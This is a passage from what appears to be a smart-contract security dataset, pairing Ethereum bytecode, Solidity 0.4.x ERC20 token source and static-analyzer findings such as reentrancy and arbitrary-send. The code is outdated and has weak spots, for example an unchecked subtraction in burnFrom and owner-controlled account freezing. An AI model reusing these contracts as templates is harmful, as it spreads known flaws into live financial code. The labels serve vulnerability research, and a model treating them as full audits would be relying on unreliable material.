65b90939092509050565b60008060008060008060008060006112858a6007546008546113d4565b92509250925060006112956110cc565b905060008060006112a88e878787611429565b919e509c509a509598509396509194505050505091939550919395565b60006109bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e24565b60008061131483856118ac565b9050838110156109bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046f565b60006113706110cc565b9050600061137e8383611479565b3060009081526002602052604090205490915061139b9082611307565b30600090815260026020526040902055505050565b6005546113bd90836112c5565b6005556006546113cd9082611307565b6006555050565b60008080806113ee60646113e88989611479565b9061097b565b9050600061140160646113e88a89611479565b90506000611419826114138b866112c5565b906112c5565b9992985090965090945050505050565b60008080806114388886611479565b905060006114468887611479565b905060006114548888611479565b905060006114668261141386866112c5565b939b939a50919850919650505050505050565b60008261148857506000610372565b60006114948385611747565b9050826114a1858361188a565b146109bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046f565b600060208083528351808285015260005b8181101561152557858101830151858201604001528201611509565b81811115611537576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077757600080fd5b6000806040838503121561157557600080fd5b82356115808161154d565b946020939093013593505050565b6000806000606084860312156115a357600080fd5b83356115ae8161154d565b925060208401356115be8161154d565b929592945050506040919091013590565b6000602082840312156115e157600080fd5b81356109bd8161154d565b6000602082840312156115fe57600080fd5b5035919050565b6000806040838503121561161857600080fd5b82356116238161154d565b915060208301356116338161154d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168f5781600019048211156116755761167561163e565b8085161561168257918102915b93841c9390800290611659565b509250929050565b6000826116a657506001610372565b816116b357506000610372565b81600181146116c957600281146116d3576116ef565b6001915050610372565b60ff8411156116e4576116e461163e565b50506001821b610372565b5060208310610133831016604e8410600b8410161715611712575081810a610372565b61171c8383611654565b80600019048211156117305761173061163e565b029392505050565b60006109bd60ff841683611697565b60008160001904831182151516156117615761176161163e565b500290565b60006020828403121561177857600080fd5b81516109bd8161154d565b60008060006060848603121561179857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c357600080fd5b815180151581146109bd57600080fd5b6000602082840312156117e557600080fd5b5051919050565b6000828210156117fe576117fe61163e565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118695784516001600160a01b031683529383019391830191600101611844565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a757634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118bf576118bf61163e565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122069abaeeadbf1f2d7d92e5361b4391b18b9fb175ea6aedbd1808745d8ce58154764736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,313
0x4c9de52c6e4832fabf2fd8b8330941f695f07335
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external ; } contract TokenERC20 is SafeMath { // Public variables of the token string public name = "World Trading Unit"; string public symbol = "WTU"; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public TotalToken = 21000000; uint256 public RemainingTokenStockForSale; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20() public { RemainingTokenStockForSale = safeMul(TotalToken,10 ** uint256(decimals)); // Update total supply with the decimal amount balanceOf[msg.sender] = RemainingTokenStockForSale; // Give the creator all initial tokens } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Save this for an assertion in the future uint previousBalances = safeAdd(balanceOf[_from],balanceOf[_to]); // Subtract from the sender balanceOf[_from] = safeSub(balanceOf[_from], _value); // Add the same to the recipient balanceOf[_to] = safeAdd(balanceOf[_to],_value); Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(safeAdd(balanceOf[_from],balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender],_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = safeSub(balanceOf[msg.sender],_value); // Subtract from the sender RemainingTokenStockForSale = safeSub(RemainingTokenStockForSale,_value); // Updates RemainingTokenStockForSale Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender],_value); // Subtract from the sender&#39;s allowance RemainingTokenStockForSale = safeSub(RemainingTokenStockForSale,_value); // Update RemainingTokenStockForSale Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, TokenERC20 { uint256 public sellPrice = 0.001 ether; uint256 public buyPrice = 0.001 ether; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (safeAdd(balanceOf[_to],_value) > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = safeSub(balanceOf[_from],_value); // Subtract from the sender balanceOf[_to] = safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = safeDiv(msg.value, buyPrice); // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= safeMul(amount,sellPrice)); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(safeMul(amount, sellPrice)); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } //FallBack function () payable public { } /* Fonction de repli FallBack (fonction sans nom) Un contrat peut avoir exactement une fonction sans nom. Cette fonction ne peut pas avoir d&#39;arguments et ne peut rien retourner. Il est ex&#233;cut&#233; sur un appel au contrat si aucune des autres fonctions ne correspond &#224; l&#39;identificateur de fonction donn&#233; (ou si aucune donn&#233;e n&#39;a &#233;t&#233; fournie). De plus, cette fonction est ex&#233;cut&#233;e chaque fois que le contrat re&#231;oit un Ether (sans donn&#233;es). De plus, afin de recevoir Ether, la fonction de repli doit &#234;tre marqu&#233;e payable. Si aucune fonction n&#39;existe, le contrat ne peut pas recevoir Ether via des transactions r&#233;guli&#232;res. Dans le pire des cas, la fonction de repli ne peut compter que sur 2300 gaz disponibles (par exemple lorsque l&#39;envoi ou le transfert est utilis&#233;), ne laissant pas beaucoup de place pour effectuer d&#39;autres op&#233;rations sauf la journalisation de base. Les op&#233;rations suivantes consomment plus de gaz que l&#39;allocation de gaz 2300: - Ecrire dans le stockage - Cr&#233;er un contrat - Appel d&#39;une fonction externe qui consomme une grande quantit&#233; de gaz - Envoyer Ether Comme toute fonction, la fonction de repli peut ex&#233;cuter des op&#233;rations complexes tant qu&#39;il y a suffisamment de gaz. Remarque M&#234;me si la fonction de remplacement ne peut pas avoir d&#39;arguments, vous pouvez toujours utiliser msg.data pour r&#233;cup&#233;rer les donn&#233;es utiles fournies avec l&#39;appel. Attention Les contrats qui re&#231;oivent directement Ether (sans appel de fonction, c&#39;est-&#224;-dire en utilisant send ou transfer) mais ne d&#233;finissent pas de fonction de repli jettent une exception, renvoyant l&#39;Ether (ceci &#233;tait diff&#233;rent avant Solidity v0.4.0). Donc, si vous voulez que votre contrat re&#231;oive Ether, vous devez impl&#233;menter une fonction de repli. Attention Un contrat sans fonction de repli payable peut recevoir Ether en tant que destinataire d&#39;une transaction coinbase (r&#233;compense de bloc minier) ou en tant que destination d&#39;un selfdestruct. Un contrat ne peut pas r&#233;agir &#224; ces transferts Ether et ne peut donc pas les rejeter. C&#39;est un choix de conception de l&#39;EVM et Solidity ne peut pas contourner ce probl&#232;me. Cela signifie &#233;galement que cette valeur peut &#234;tre sup&#233;rieure &#224; la somme de certains comptes manuels impl&#233;ment&#233;s dans un contrat (c&#39;est-&#224;-dire avoir un compteur mis &#224; jour dans la fonction de repli). */ }
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012a57806306fdde0314610156578063095ea7b3146101e457806323b872dd1461023e578063313ce567146102b75780633f601972146102e657806342966c681461030f5780634b7503341461034a5780635c44a8371461037357806370a082311461039c57806379cc6790146103e95780638620410b146104435780638da5cb5b1461046c57806395d89b41146104c1578063a6f2ae3a1461054f578063a9059cbb14610559578063b414d4b61461059b578063cae9ca51146105ec578063dd62ed3e14610689578063e4849b32146106f5578063e724529c14610718578063f2fde38b1461075c575b005b341561013557600080fd5b6101546004808035906020019091908035906020019091905050610795565b005b341561016157600080fd5b610169610802565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a957808201518184015260208101905061018e565b50505050905090810190601f1680156101d65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ef57600080fd5b610224600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108a0565b604051808215151515815260200191505060405180910390f35b341561024957600080fd5b61029d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061092d565b604051808215151515815260200191505060405180910390f35b34156102c257600080fd5b6102ca610ad6565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f157600080fd5b6102f9610ae9565b6040518082815260200191505060405180910390f35b341561031a57600080fd5b6103306004808035906020019091905050610aef565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b61035d610c34565b6040518082815260200191505060405180910390f35b341561037e57600080fd5b610386610c3a565b6040518082815260200191505060405180910390f35b34156103a757600080fd5b6103d3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c40565b6040518082815260200191505060405180910390f35b34156103f457600080fd5b610429600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c58565b604051808215151515815260200191505060405180910390f35b341561044e57600080fd5b610456610ef0565b6040518082815260200191505060405180910390f35b341561047757600080fd5b61047f610ef6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104cc57600080fd5b6104d4610f1b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105145780820151818401526020810190506104f9565b50505050905090810190601f1680156105415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610557610fb9565b005b341561056457600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fd7565b005b34156105a657600080fd5b6105d2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fe6565b604051808215151515815260200191505060405180910390f35b34156105f757600080fd5b61066f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611006565b604051808215151515815260200191505060405180910390f35b341561069457600080fd5b6106df600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611184565b6040518082815260200191505060405180910390f35b341561070057600080fd5b61071660048080359060200190919050506111a9565b005b341561072357600080fd5b61075a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611233565b005b341561076757600080fd5b610793600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611358565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107f057600080fd5b81600881905550806009819055505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108985780601f1061086d57610100808354040283529160200191610898565b820191906000526020600020905b81548152906001019060200180831161087b57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109ba57600080fd5b610a40600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610acb84848461140f565b600190509392505050565b600360009054906101000a900460ff1681565b60045481565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b3f57600080fd5b610b88600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600554836113f6565b6005819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60085481565b60055481565b60066020528060005260406000206000915090505481565b600081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ca857600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d3357600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610e06600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f6565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e92600554836113f6565b6005819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fb15780601f10610f8657610100808354040283529160200191610fb1565b820191906000526020600020905b815481529060010190602001808311610f9457829003601f168201915b505050505081565b6000610fc73460095461174c565b9050610fd430338361140f565b50565b610fe233838361140f565b5050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008084905061101685856108a0565b1561117b578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111105780820151818401526020810190506110f5565b50505050905090810190601f16801561113d5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561115e57600080fd5b6102c65a03f1151561116f57600080fd5b5050506001915061117c565b5b509392505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6111b58160085461178d565b3073ffffffffffffffffffffffffffffffffffffffff1631101515156111da57600080fd5b6111e533308361140f565b3373ffffffffffffffffffffffffffffffffffffffff166108fc61120b8360085461178d565b9081150290604051600060405180830381858888f19350505050151561123057600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128e57600080fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113b357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561140457fe5b818303905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561143557600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561148357600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150c600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836117c0565b11151561151857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561157157600080fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115ca57600080fd5b611613600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826113f6565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061169f600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826117c0565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008060008311151561175b57fe5b828481151561176657fe5b049050828481151561177457fe5b06818402018414151561178357fe5b8091505092915050565b600080828402905060008414806117ae57508284828115156117ab57fe5b04145b15156117b657fe5b8091505092915050565b60008082840190508381101580156117d85750828110155b15156117e057fe5b80915050929150505600a165627a7a7230582007aaf524989012ef4933eebeb2e8749e0e1139be1f146c0d720846250fd583ba0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
1,314
0xd8a8843b0a5aba6b030e92b3f4d669fad8a5be50
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken, Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract AfroDexLabsToken is BurnableToken { string public constant name = "AfroDex Labs Token"; string public constant symbol = "AFDLT"; uint public constant decimals = 4; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000000000 * (10 ** uint256(decimals)); // Constructors constructor() public { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce56714610285578063378dc3dc146102b057806342966c68146102db578063661884631461030857806370a082311461036d5780638da5cb5b146103c457806395d89b411461041b578063a9059cbb146104ab578063d73dd62314610510578063dd62ed3e14610575578063f2fde38b146105ec575b600080fd5b3480156100ec57600080fd5b506100f561062f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610668565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61075a565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610760565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610a4c565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5610a51565b6040518082815260200191505060405180910390f35b3480156102e757600080fd5b5061030660048036038101908080359060200190929190505050610a62565b005b348015610314576000